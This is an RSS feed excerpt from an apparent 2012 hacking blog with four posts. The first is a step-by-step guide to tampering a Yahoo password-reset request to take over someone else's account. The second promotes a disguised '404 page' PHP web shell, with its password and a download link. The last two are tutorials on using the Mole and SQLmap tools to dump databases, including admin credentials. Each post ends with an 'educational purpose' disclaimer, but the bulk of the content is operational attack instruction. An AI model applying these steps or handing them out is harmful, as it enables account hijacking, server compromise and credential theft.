		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[secure]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2207</guid>
		<description><![CDATA[You all might have come across the serious 0-day vulnerabilities found in Yahoo, Hotmail and AOL, exposed around a week ago, that allowed to reset the passwords of the legitimate account owners without them noticing it. This almost endangered the bulk of email account holders from being hacked. Though this has been fixed within a [...]]]></description>
			<content:encoded><![CDATA[<p>You all might have come across the serious <em>0-day <a title="What is a payload, exploit and vulnerability?" href="http://thecybersaviours.com/what-is-a-payload-exploit-and-vulnerability" target="_blank">vulnerabilities</a></em> found in <strong>Yahoo, Hotmail and AOL</strong>, exposed around a week ago, that allowed to reset the passwords of the legitimate account owners without them noticing it. This almost endangered the bulk of email account holders from being hacked. Though this has been fixed within a short notice, lets check out the possible ways that hackers could have intruded the accounts.</p>
<p>Assuming the attacker is in action, he goes to <a rel="nofollow" href="mail.yahoo.com" target="_blank">mail.yahoo.com</a> and clicks to &#8216;<em>I can&#8217;t access my account</em>&#8216; below the submit button as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/1.2.png"><img class="aligncenter size-full wp-image-2211" title="1.2" src="http://thecybersaviours.com/wp-content/uploads/2012/05/1.2.png" alt="" width="328" height="168" /></a></p>
<p>The moment after clicking, the attacker gets directed to the following page:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/1.3.png"><img class="aligncenter size-full wp-image-2212" title="1.3" src="http://thecybersaviours.com/wp-content/uploads/2012/05/1.3.png" alt="" width="763" height="242" /></a></p>
<p>Clicking &#8216;<em>Next</em>&#8216;, Yahoo asks for the <em>Email ID</em> and the <em>captcha verification</em> page:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/yahoo1.png"><img class="aligncenter size-full wp-image-2213" title="yahoo1" src="http://thecybersaviours.com/wp-content/uploads/2012/05/yahoo1.png" alt="" width="660" height="282" /></a></p>
<p>Start the <strong><a rel="nofollow" href="https://www.google.co.in/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;ved=0CCkQFjAA&amp;url=https%3A%2F%2Faddons.mozilla.org%2Fen-US%2Ffirefox%2Faddon%2Ftamper-data%2F&amp;ei=GaChT8K7KauRiQe3uMGECQ&amp;usg=AFQjCNEUUkuY4ZrrOWFRUlTXgu3moFkIXQ&amp;sig2=8ND3pSKtUcJPzXVYTL3paQ" target="_blank">Tamper Data Firefox Add-on</a></strong>, click on &#8216;<em>Start Tampering&#8217; </em>and click &#8216;<em>Next</em>&#8216; on the Yahoo captcha page. The attacker now sees the pop-up window as:</p>
<p>&nbsp;</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/yahoo21.png"><img class="aligncenter size-full wp-image-2215" title="yahoo2" src="http://thecybersaviours.com/wp-content/uploads/2012/05/yahoo21.png" alt="" width="602" height="629" /></a></p>
<p>Change the stage data you see in the input box from &#8216;<em>fe110</em>&#8216; to &#8216;<strong><em>fe200</em></strong>&#8216; and click &#8216;<em>OK</em>&#8216; and &#8216;<em>Submit</em>&#8216;. The security questions part gets skipped and you see the password reset page asking for the new password details as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/yahoo3.png"><img class="aligncenter size-full wp-image-2216" title="yahoo3" src="http://thecybersaviours.com/wp-content/uploads/2012/05/yahoo3.png" alt="" width="601" height="182" /></a></p>
<p>Clicks &#8216;<em>Next</em>&#8216; when done, &#8216;<em>continue tampering</em>&#8216; and &#8216;<em>Submit</em>&#8216; until he gets the Password successfully changed prompt. ALl done! The attacker can now login to the victim&#8217;s account using the new password and re-activate it as easily.</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/last.png"><img class="aligncenter size-full wp-image-2217" title="last" src="http://thecybersaviours.com/wp-content/uploads/2012/05/last.png" alt="" width="409" height="158" /></a></p>
<p><strong>AOL</strong> and <strong>Hotmail</strong> can be exploited the same way with few variations. You can take a look at the walk-through and demo videos <a rel="nofollow" href="http://thehackernews.com/2012/04/yet-another-hotmail-aol-and-yahoo.html" target="_blank">here</a>.</p>
<p><strong>Credits</strong>: <a rel="nofollow" href="http://thehackernews.com/" target="_blank">The Hacker News</a></p>
<p><strong>Disclaimer: </strong>This is for educational purpose and to make you aware of the scenarios of various different security breaches. The administrator or the authors of thecybersaviours will not be responsible for any misuse of this post.</p>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/6m3ijoKFPec" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/yahoo-password-reset-vulnerability/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/yahoo-password-reset-vulnerability</feedburner:origLink></item>
		<item>
		<title>404 shell ride</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/XnTPosrG81A/404-shell-ride</link>
		<comments>http://thecybersaviours.com/404-shell-ride#comments</comments>
		<pubDate>Fri, 27 Apr 2012 20:07:56 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[secure]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2189</guid>
		<description><![CDATA[You might have come across this shell a lot. Firstly, it claims to be FUD (Fully UnDetectable) and is considered to be very powerful. The demos prepared for the Symlink Bypass has been through this very shell and uses a bit of Social Engineering technique to fool the people coming across it, using a simple [...]]]></description>
			<content:encoded><![CDATA[<div>You might have come across this shell a lot. Firstly, it claims to be <strong>FUD</strong> (<em>Fully UnDetectable</em>) and is considered to be very powerful. The demos prepared for the<a title="WordPress hack through symlink bypass" href="http://thecybersaviours.com/wordpress-hack-through-symlink-bypass" target="_blank"> Symlink Bypass</a> has been through this very shell and uses a bit of <a title="Social Engineering" href="http://thecybersaviours.com/social-engineering" target="_blank">Social Engineering</a> technique to fool the people coming across it, using a simple CSS technique applied to the input box placed at the center of the malicious <em>404.php</em> page.</div>
<div></div>
<pre>input {
   background-color: #FFFFFF;
   border: 1px solid #FFFFFF;
   margin: 0;
}</pre>
<div>Once uploaded on the server, the <strong>Page Not Found</strong> condition automatically directs to the <em>404.php</em> according to the standard hierarchy maintained in most of the cases such as in WordPress and makes a false impression as:</div>
<div></div>
<div><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/1.png"><img class="aligncenter size-full wp-image-2196" title="1" src="http://thecybersaviours.com/wp-content/uploads/2012/04/1.png" alt="" width="939" height="222" /></a></div>
<p>What people, especially the newbie bloggers think, is that &#8216;<em>shuckkks! It&#8217;s just that the requested content does not exist so it&#8217;s fine, I reached the 404 page. Okay, no worries! let&#8217;s get back and look for something else.</em>&#8216; And completely ignores it most unknowingly.</p>
<p>But nope, the impression is very much deceiving. This is actually the <em>404 shell</em> I am talking about. Clicking somewhere around the center where the &#8216;<em>Not Found</em>&#8216; text ends, the attacker notices the input box shows up abruptly, which actually asks for the password which is in my case, <strong>&#8216;ap3x_nd_h4ck0&#8242; </strong>without quotes.</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/2.png"><img class="aligncenter size-full wp-image-2197" title="2" src="http://thecybersaviours.com/wp-content/uploads/2012/04/2.png" alt="" width="766" height="179" /></a></p>
<p>Cool! Now what happens when the attacker enter the password. He enters the limitless world in the form of shell interface:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/3.png"><img class="aligncenter size-full wp-image-2198" title="3" src="http://thecybersaviours.com/wp-content/uploads/2012/04/3.png" alt="" width="1269" height="249" /></a><br />
So now, everything is in front of the attacker, from where he can lodge loads of malicious attacks without even getting noticed.</p>
<p>This shell was released by <a rel="nofollow" href="http://facebook.com/ap3x.nd.h4ck0" target="_blank">Ap3x_nd_h4ck0</a> and is still being used by the hackers for malicious motives.</p>
<p><strong>Download Link:</strong> <a rel="nofollow" href="http://www.mediafire.com/?42zpcmyndcnjbg6" target="_blank">http://www.mediafire.com/?42zpcmyndcnjbg6</a></p>
<p><strong>Suggestion:</strong> It&#8217;s better keep an eye on your 404 not found page as well, in case you encounter any and get familiar to how exactly the 404 page on your website looks like. That might help figuring out instantly.</p>
<p><strong>Disclaimer: </strong>This is for educational purpose and to make you aware of the scenarios of various different security breaches. The administrator or the authors of thecybersaviours will not be responsible for any misuse of this post.</p>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/XnTPosrG81A" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/404-shell-ride/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/404-shell-ride</feedburner:origLink></item>
		<item>
		<title>Mole – Automatic SQL Injection Tool</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/CxiYl5qjlJE/mole-automatic-sql-injection-tool</link>
		<comments>http://thecybersaviours.com/mole-automatic-sql-injection-tool#comments</comments>
		<pubDate>Sun, 15 Apr 2012 14:43:16 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[secure]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2162</guid>
		<description><![CDATA[Mole is an automatic  SQL injection tool and is based on Python. This tool has been developed by Nasel. In this post, I will completely demonstrate SQL Injection using Mole. Mole currently supports MySQL, SQL Server and Oracle databases. I hope this comes out to be the best tutorial on Mole available on the web. [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Mole</strong> is an <em>automatic  <a title="SQL Injection for beginners" href="http://thecybersaviours.com/sql-injection-for-beginners" target="_blank">SQL injection</a> tool</em> and is based on <em>Python</em>. This tool has been developed by <a rel="nofollow" href="http://www.nasel.com.ar/" target="_blank"><strong>Nasel</strong></a>. In this post, I will completely demonstrate SQL Injection using Mole. Mole currently supports <em>MySQL, SQL Server and Oracle databases</em>. I hope this comes out to be the best tutorial on Mole available on the web.</p>
<p><strong>Download:</strong> <a rel="nofollow" href="http://themole.nasel.com.ar/?q=downloads" target="_blank">http://themole.nasel.com.ar/?q=downloads</a></p>
<p><strong>Quick Installation</strong> <strong>for Ubuntu/Backtrack</strong>:</p>
<pre>$ sudo apt-get install python3 python3-lxml
$ wget http://sourceforge.net/projects/themole/files/themole-0.2.6/themole-0.2.6-lin-src.tar.gz/download
$ tar xzvf themole-0.2.6-lin-src.tar.gz
$ cd themole-0.2.6</pre>
<p>After the installation  of required packages and <strong>Mole</strong>, we are ready to start with the process.</p>
<p>I have developed a <em>local SQL vulnerable PHP application</em>, which looks like shown below. If you too need a copy for your testing purpose, do mail me.</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/mole1.png"><img class="aligncenter size-full wp-image-2164" title="mole1" src="http://thecybersaviours.com/wp-content/uploads/2012/04/mole1.png" alt="" width="297" height="127" /></a>Once I login, I enter the vulnerable page as shown below:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/mole2.png"><img class="aligncenter size-full wp-image-2165" title="mole2" src="http://thecybersaviours.com/wp-content/uploads/2012/04/mole2.png" alt="" width="763" height="263" /></a>Now, this is the URL we will be checking for SQL injection using Mole.</p>
<pre>http://127.0.0.1:xxxx/vulnerable/index.php/?id=1</pre>
<p>Now,  open the terminal. I have Mole directory on my Desktop so I will be proceeding as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/mole4.png"><img class="aligncenter size-full wp-image-2169" title="mole4" src="http://thecybersaviours.com/wp-content/uploads/2012/04/mole4.png" alt="" width="723" height="66" /></a><br />
<strong>-u</strong> is for the vulnerable URL<br />
<strong>-n or -needle</strong> is for the needle, that might be any strong keyword on the website</p>
<p>Now press &#8216;<em>Enter</em>&#8216; and you will get to see something like:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/mole5.png"><img class="aligncenter size-full wp-image-2170" title="mole5" src="http://thecybersaviours.com/wp-content/uploads/2012/04/mole5.png" alt="" width="794" height="176" /></a>Type in &#8216;<em>Schemas</em>&#8216; as shown below and press &#8216;<em>Enter</em>&#8216;:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/mole6.png"><img class="aligncenter size-full wp-image-2171" title="mole6" src="http://thecybersaviours.com/wp-content/uploads/2012/04/mole6.png" alt="" width="379" height="513" /></a>Now to dump the table names from the selected database, type in &#8216;<em>tables &lt;database-name&gt;</em>&#8216; as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/mole7.png"><img class="aligncenter size-full wp-image-2173" title="mole7" src="http://thecybersaviours.com/wp-content/uploads/2012/04/mole7.png" alt="" width="197" height="145" /></a>Type <em>&#8216;columns &lt;database-name&gt; &lt;table-name&gt;</em>&#8216; to dump the column names of the selected database.</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/mole8.png"><img class="aligncenter size-full wp-image-2174" title="mole8" src="http://thecybersaviours.com/wp-content/uploads/2012/04/mole8.png" alt="" width="343" height="179" /></a>Finally, dump the columns as <em>&#8216;query &lt;database-name&gt; &lt;table-name&gt; column-1,column-2</em>&#8216;</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/mole9.png"><img class="aligncenter size-full wp-image-2175" title="mole9" src="http://thecybersaviours.com/wp-content/uploads/2012/04/mole9.png" alt="" width="422" height="143" /></a>This is it, we have successfully dumped the database using Mole.</p>
<p>I hope it was well described and you enjoyed it throughout!</p>
<p><em><strong><em>Disclaimer: </em></strong></em>This is for educational purpose and to make you aware of the scenarios of various different security breaches. The administrator or the authors of thecybersaviours will not be responsible for any misuse of this post.</p>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/CxiYl5qjlJE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/mole-automatic-sql-injection-tool/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/mole-automatic-sql-injection-tool</feedburner:origLink></item>
		<item>
		<title>SQLMap tutorial</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/ZjaSsNkPym4/sqlmap-tutorial</link>
		<comments>http://thecybersaviours.com/sqlmap-tutorial#comments</comments>
		<pubDate>Sun, 08 Apr 2012 16:37:35 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[secure]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2146</guid>
		<description><![CDATA[SQLmap is an open source pentesting tool that can automatically detect and exploit the SQL injection flaws. It basically checks for the Blind SQL Injection possiblities. I will let you know how exactly this is done though I don&#8217;t have a prepared demo for the same. You can very well post in your comments and [...]]]></description>
			<content:encoded><![CDATA[<p><strong>SQLmap</strong> is an open source pentesting tool that can automatically detect and exploit the SQL injection flaws. It basically checks for the Blind SQL Injection possiblities. I will let you know how exactly this is done though I don&#8217;t have a prepared demo for the same. You can very well post in your comments and doubts if you have any. I will try my best to list out stepwise tutorial on how to use it.</p>
<p>You can download SQL map at <a rel="nofollow" href="http://sourceforge.net/projects/sqlmap/files/" target="_blank">http://sourceforge.net/projects/sqlmap/files/</a></p>
<p>Extract it in some folder. I assume I have extracted in on my Ubuntu Desktop in SQLmap directory and have some vulnerable website link as <strong>http://www.website.com/?id=3</strong></p>
<p>1. So I open the terminal and quickly jump to my SQLmap directory as:</p>
<pre>cd Desktop/SQLmap</pre>
<p>2.  Now, type the following in your terminal and press &#8216;<em>Enter</em>&#8216; as:</p>
<pre>python ./sqlmap.py -u http://www.website.com/?id=3 --dbs</pre>
<p>You can have the usage overview which are to be used when specifying the target URL. The wonder is that SQLmap can process the Google Dorks as well for you.</p>
<pre>-d DIRECT           Direct connection to the database
-u URL, --url=URL   Target url
-l LIST             Parse targets from Burp or WebScarab proxy logs
-r REQUESTFILE      Load HTTP request from a file
-g GOOGLEDORK       Process Google dork results as target urls
-c CONFIGFILE       Load options from a configuration INI file</pre>
<p>and <strong>&#8211;dbs</strong> is for <em>databases enumeration</em> or in simple words, get an extensive details about the databases. You can check more of these at <a rel="nofollow" href="http://sqlmap.sourceforge.net/doc/README.html#s5" target="_blank">http://sqlmap.sourceforge.net/doc/README.html#s5</a></p>
<p>3. As soon as you press &#8216;<em>Enter</em>&#8216;, you will get to see something like:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/04/sql.png"><img class="aligncenter size-full wp-image-2151" title="sql" src="http://thecybersaviours.com/wp-content/uploads/2012/04/sql.png" alt="" width="721" height="192" /></a>4. It checks for all the SQL Injection possibilities and if found will list out the available databases at the end of the process.</p>
<p>5. Now, type in the command as:</p>
<pre>python ./sqlmap.py -u http://www.website.com/?id=3 -D database_name --tables</pre>
<p>Note that <strong>-D</strong> is to explore or enumerate a particular database and <strong>&#8211;tables</strong> is used to list out all the tables present in it.</p>
<p>6. Check out for the <em>admin table</em> in which you can find the usernames and passwords and enumerate it as:</p>
<pre>python ./sqlmap.py -u http://www.website.com/?id=3 -D database_name -T admin_table --columns</pre>
<p>7. Once the columns get listed. Select the ones you want to dump (assume here to be admin_username and admin_password are the ones I want to dump) and write the following in your terminal:</p>
<pre>python ./sqlmap.py -u http://www.website.com/?id=3 -D database_name -T admin_table -C admin_password, admin_username --dump</pre>
<p>This is it. All the entries in the respective columns get dumped and you are done. Go step-wise and you won&#8217;t miss any.</p>
<p>I hope it was well described and you enjoyed it throughout!</p>
<p><em><strong><em>Disclaimer: </em></strong></em>This is for educational purpose and to make you aware of the scenarios of various different security breaches. The administrator or the authors of thecybersaviours will not be responsible for any misuse of this post.</p>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/ZjaSsNkPym4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/sqlmap-tutorial/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/sqlmap-tutorial</feedburner:origLink></item>
	</channel>
</rss>
